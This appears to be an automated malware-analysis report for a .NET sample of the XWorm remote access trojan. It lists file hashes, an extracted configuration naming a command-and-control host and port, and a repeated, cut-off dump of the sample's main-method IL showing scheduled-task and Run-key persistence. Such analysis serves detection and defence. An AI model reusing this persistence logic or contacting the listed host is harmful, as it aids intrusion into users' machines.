457350f9f0aaac15aac9e6022ef4a894

PE Executable
|
MD5: 457350f9f0aaac15aac9e6022ef4a894
|
Size: 72.19 KB
|
application/x-dosexec

Infection Chain

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	457350f9f0aaac15aac9e6022ef4a894
Sha1	2ba6477238bd9d56c3c9b2fd1e24c23ad1d4b697
Sha256	fc3af4e10dfeb575e184ca68aea3214009e95ea651003a55061ea4e3bb53384e
Sha384	ee07cc1d0c20576a12e330f9469ab8b677b47f1b7d641a29f98647bedabce755150dd8e817982646855723534dcafaaa
Sha512	0acbdfe6e960fe43c2b69a741f170a5100a99a19ae466a46e3ff395869025d3dfda757b39f6a8208898f758a317c3786b4297ec4bc711164950940e50036eec1
SSDeep	1536:e1GvdtixSQPD7taFieCbPgY2EllQS6OfNhXOfULwd:WsQ7VDbPqwQ49OfHd
TLSH	2F638C5837F50519E0FEAFF148F12622DB79F5176903C21F68CD02892A27AC9CD617EA

PeID

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

File Structure

Malware Configuration - XWorm config.

Config. Field0	Value
Mutex	ju7GV7IG8LdZljIq
Hosts	goods-hilton.gl.at.ply.gg
Port	45762
KEY	<666666>
USBNM	<XWormmm>
LoggerPath	%Public%
family	xworm

Informations

Name0	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	crss.exe
Full Name	crss.exe
EntryPoint	System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::YR59iKmwONsCfElBhe58DU3NAQZ1q6GLgcJmkfAA80UkijRE8AaOheUPSJ4Su6()
Scope Name	crss.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	crss
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	345
Main Method	System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::YR59iKmwONsCfElBhe58DU3NAQZ1q6GLgcJmkfAA80UkijRE8AaOheUPSJ4Su6()
Main IL Instruction Count	215
Main IL	ldsfld System.Int32 SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::NBceSN7xg1FAFW4JxsxNtPzHB3kjQmtn72cCNTt60xEsoBIyxhvICgP9M32EYF ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::GGtOMFvV9bSKgQalGCpc91tH2OlDyz8dqbBQTKObxZKm4IAGHA5QuLxaKNDVxO call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::GGtOMFvV9bSKgQalGCpc91tH2OlDyz8dqbBQTKObxZKm4IAGHA5QuLxaKNDVxO ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::2WbR7wJKZYvxv0q6GLxOJbCwUSYIvW6Sgq92CMfU3nUooI7AZa9ifHeQ9XoPV2 call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::2WbR7wJKZYvxv0q6GLxOJbCwUSYIvW6Sgq92CMfU3nUooI7AZa9ifHeQ9XoPV2 ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::swTmmJ2uqaQ8B8LnU5QNnNTd5QKF9W8Koq0Rw6kVH1nvUuavGGNKCCaQdSQcIb call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::swTmmJ2uqaQ8B8LnU5QNnNTd5QKF9W8Koq0Rw6kVH1nvUuavGGNKCCaQdSQcIb ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::33HDSxkFU17tQ9NHAqYKBQSze2ofWvvuKOClf0Dih2f0q2n47AS2a7SiOXFN34 call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::33HDSxkFU17tQ9NHAqYKBQSze2ofWvvuKOClf0Dih2f0q2n47AS2a7SiOXFN34 ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::409BTgtIP16xg51WauoKIazL4QLurJE4K9GkRQrFbqIfcfjAN2WmH5ZXm0BpVL call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::409BTgtIP16xg51WauoKIazL4QLurJE4K9GkRQrFbqIfcfjAN2WmH5ZXm0BpVL ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::IPuh0i15oKGcNdIO6X7NTJmA1zapXxKKONoARGrAKjXjHNQyZlEqzJzO1NNoEp call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::IPuh0i15oKGcNdIO6X7NTJmA1zapXxKKONoARGrAKjXjHNQyZlEqzJzO1NNoEp ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8yxdf6IVTflZqnQN0p0k6gmanh3UhstwSX49YJ7oGvSFDFTPwV1NEjRVwLHgWB call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8yxdf6IVTflZqnQN0p0k6gmanh3UhstwSX49YJ7oGvSFDFTPwV1NEjRVwLHgWB ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8a5yauTC76ZZoeO3c3VtYVWrdW9GiYdExZnNzdbnSNAUg6pRcTHe1Xwd8sgwQK call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8a5yauTC76ZZoeO3c3VtYVWrdW9GiYdExZnNzdbnSNAUg6pRcTHe1Xwd8sgwQK leave.s IL_00CB: call System.Boolean Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::WG59nIQSEc4vNrmsd79VQEjSyVHiDQuLqJPRFyoqn9UzpnlDJJXjVI8z9GlYpjSaokYBDv8ZPuInODJ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::WG59nIQSEc4vNrmsd79VQEjSyVHiDQuLqJPRFyoqn9UzpnlDJJXjVI8z9GlYpjSaokYBDv8ZPuInODJ() call System.Boolean Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::WG59nIQSEc4vNrmsd79VQEjSyVHiDQuLqJPRFyoqn9UzpnlDJJXjVI8z9GlYpjSaokYBDv8ZPuInODJ() brtrue.s IL_00D8: call System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::mngLA9RZraIo018QYFw3XA7WgE8CaGYlpfnL4jyqixNNF87oDsINqhzbaTxHC2() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::mngLA9RZraIo018QYFw3XA7WgE8CaGYlpfnL4jyqixNNF87oDsINqhzbaTxHC2() leave.s IL_00EE: call System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::WWYipjEcRq0KbaZ3dLi6sBGV8EQUePtg203HJwnlzU62BV1haOW6zHCGAUA24l() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: call System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::WWYipjEcRq0KbaZ3dLi6sBGV8EQUePtg203HJwnlzU62BV1haOW6zHCGAUA24l() call System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::WWYipjEcRq0KbaZ3dLi6sBGV8EQUePtg203HJwnlzU62BV1haOW6zHCGAUA24l() ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8yxdf6IVTflZqnQN0p0k6gmanh3UhstwSX49YJ7oGvSFDFTPwV1NEjRVwLHgWB ldstr \ ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8a5yauTC76ZZoeO3c3VtYVWrdW9GiYdExZnNzdbnSNAUg6pRcTHe1Xwd8sgwQK call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0135: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_014C: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::t3gayGx0fa6p9b8PrnBCVO1C2v1SV5UrNdA1qsEpfRnFdCo9Sy2jKV2JkGL1lp8fLpjgWqytKcGMmQ5 call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0177: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0177: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.6Ovwyk8SL5Nshi51yV3Wml2kiv5Npi0GlD7fBgvE2cBWUF0lVoW7zqxJjqvfR8::meo0dS8IpnDw9PxG0SqCdKFgQErbrGRup4FAdwLsSXSlip03P2g0aBIrn58pE1() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01DD: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_12 ldc.i4.1 <null> ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8a5yauTC76ZZoeO3c3VtYVWrdW9GiYdExZnNzdbnSNAUg6pRcTHe1Xwd8sgwQK call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_12 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_12 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_12 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_12 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0221: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_12 ldc.i4.1 <null> ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8a5yauTC76ZZoeO3c3VtYVWrdW9GiYdExZnNzdbnSNAUg6pRcTHe1Xwd8sgwQK call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_12 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_12 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_12 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_12 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0242: call My.7TscpTATCoQItnw3BJuJ0x7wgaOJHSubQc9XR0DQxBBpuBLZOjfvqEVZ3qZxqW My.JXa4ku5dMA5PDyJNNT39BoGy4TiNjkyRHcHR5NVsuSZopW4cxKAv0gcfjC87Zi::chqGpu0baeoTyc28QxtVmvX1ni3sR22KOF5cDvjDVREAIHDJzQFdY9T4VlY1CC() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0242: call My.7TscpTATCoQItnw3BJuJ0x7wgaOJHSubQc9XR0DQxBBpuBLZOjfvqEVZ3qZxqW My.JXa4ku5dMA5PDyJNNT39BoGy4TiNjkyRHcHR5NVsuSZopW4cxKAv0gcfjC87Zi::chqGpu0baeoTyc28QxtVmvX1ni3sR22KOF5cDvjDVREAIHDJzQFdY9T4VlY1CC() call My.7TscpTATCoQItnw3BJuJ0x7wgaOJHSubQc9XR0DQxBBpuBLZOjfvqEVZ3qZxqW My.JXa4ku5dMA5PDyJNNT39BoGy4TiNjkyRHcHR5NVsuSZopW4cxKAv0gcfjC87Zi::chqGpu0baeoTyc28QxtVmvX1ni3sR22KOF5cDvjDVREAIHDJzQFdY9T4VlY1CC() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8a5yauTC76ZZoeO3c3VtYVWrdW9GiYdExZnNzdbnSNAUg6pRcTHe1Xwd8sgwQK call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_027D: call System.Void Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::UYx5yFpsL4nU06ORnYlf8eDIDYW1KVJs6D1d307iT9RxHoOWjyucQuW0TWpFKsKqGIaNzDAeUitKVrN() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027D: call System.Void Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::UYx5yFpsL4nU06ORnYlf8eDIDYW1KVJs6D1d307iT9RxHoOWjyucQuW0TWpFKsKqGIaNzDAeUitKVrN() call System.Void Stub.BlcaNUrwo6bcYSApTI9HQxtzBhTFYzPZqLfCmQjXCOXue31::UYx5yFpsL4nU06ORnYlf8eDIDYW1KVJs6D1d307iT9RxHoOWjyucQuW0TWpFKsKqGIaNzDAeUitKVrN() ldnull <null> ldftn System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::FbxTLBKRyGYjiHyE7gpu44468VV6inlHap9gIWcmtFqpY63zjjGWMWwRywg4Gj() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.6Ovwyk8SL5Nshi51yV3Wml2kiv5Npi0GlD7fBgvE2cBWUF0lVoW7zqxJjqvfR8::meo0dS8IpnDw9PxG0SqCdKFgQErbrGRup4FAdwLsSXSlip03P2g0aBIrn58pE1() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_02A9: ldnull call System.Void Stub.9hilL2Ax8CRNv5StjcqNJZpwiAYxUYqDYPItOokOkJFQtDY::01o9a3lggcsZIU0WzgrX1tTGHk5beFwp0e8GMUGy5saU86P() ldnull <null> ldftn System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::JdNqeT4FIg3cdpCInifEicDdWw5b9AdqZ4DbSGf3U5sq9qcHVLjArmXx25wPfh() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::MjZDQZMOqgjg0ZmlDMlgYoWEJUukpD86yR8vP8d2tmp7o2gyZA4VexxgCxb5o9() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name	crss.exe
Full Name	crss.exe
EntryPoint	System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::YR59iKmwONsCfElBhe58DU3NAQZ1q6GLgcJmkfAA80UkijRE8AaOheUPSJ4Su6()
Scope Name	crss.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	crss
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	345
Main Method	System.Void Stub.9tgTZl0VN27NUOex0E6t39btQEgOxRYCE27Aiw3dAbXJip2JWjkGaqOKtoUrkD::YR59iKmwONsCfElBhe58DU3NAQZ1q6GLgcJmkfAA80UkijRE8AaOheUPSJ4Su6()
Main IL Instruction Count	215
Main IL	ldsfld System.Int32 SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::NBceSN7xg1FAFW4JxsxNtPzHB3kjQmtn72cCNTt60xEsoBIyxhvICgP9M32EYF ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::GGtOMFvV9bSKgQalGCpc91tH2OlDyz8dqbBQTKObxZKm4IAGHA5QuLxaKNDVxO call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::GGtOMFvV9bSKgQalGCpc91tH2OlDyz8dqbBQTKObxZKm4IAGHA5QuLxaKNDVxO ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::2WbR7wJKZYvxv0q6GLxOJbCwUSYIvW6Sgq92CMfU3nUooI7AZa9ifHeQ9XoPV2 call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::2WbR7wJKZYvxv0q6GLxOJbCwUSYIvW6Sgq92CMfU3nUooI7AZa9ifHeQ9XoPV2 ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::swTmmJ2uqaQ8B8LnU5QNnNTd5QKF9W8Koq0Rw6kVH1nvUuavGGNKCCaQdSQcIb call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::swTmmJ2uqaQ8B8LnU5QNnNTd5QKF9W8Koq0Rw6kVH1nvUuavGGNKCCaQdSQcIb ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::33HDSxkFU17tQ9NHAqYKBQSze2ofWvvuKOClf0Dih2f0q2n47AS2a7SiOXFN34 call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::33HDSxkFU17tQ9NHAqYKBQSze2ofWvvuKOClf0Dih2f0q2n47AS2a7SiOXFN34 ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::409BTgtIP16xg51WauoKIazL4QLurJE4K9GkRQrFbqIfcfjAN2WmH5ZXm0BpVL call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::409BTgtIP16xg51WauoKIazL4QLurJE4K9GkRQrFbqIfcfjAN2WmH5ZXm0BpVL ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::IPuh0i15oKGcNdIO6X7NTJmA1zapXxKKONoARGrAKjXjHNQyZlEqzJzO1NNoEp call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::IPuh0i15oKGcNdIO6X7NTJmA1zapXxKKONoARGrAKjXjHNQyZlEqzJzO1NNoEp ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8yxdf6IVTflZqnQN0p0k6gmanh3UhstwSX49YJ7oGvSFDFTPwV1NEjRVwLHgWB call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8yxdf6IVTflZqnQN0p0k6gmanh3UhstwSX49YJ7oGvSFDFTPwV1NEjRVwLHgWB ldsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8a5yauTC76ZZoeO3c3VtYVWrdW9GiYdExZnNzdbnSNAUg6pRcTHe1Xwd8sgwQK call System.Object Stub.ILIjqB2zXjFYhzhhiZBXaelHRTYQp1B7O05iqquIZ0lLTN3::tDqla7Afgmr6UaFQ75erQpVnvnWoWuTGqctFYpuHqhyYLk6(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String SGjNHJSWtYboWiuh6vTm5b8tIBhtgdDaVMsEcMncXqe9cAU1dScJoOFDrWJZ8Z::8a5yauTC76ZZoeO3c3VtYVWrdW9GiYdExZnNzdbnSNAUg6pRcTHe1Xwd8sgwQK leave.s IL_00CB: call System.Boolean 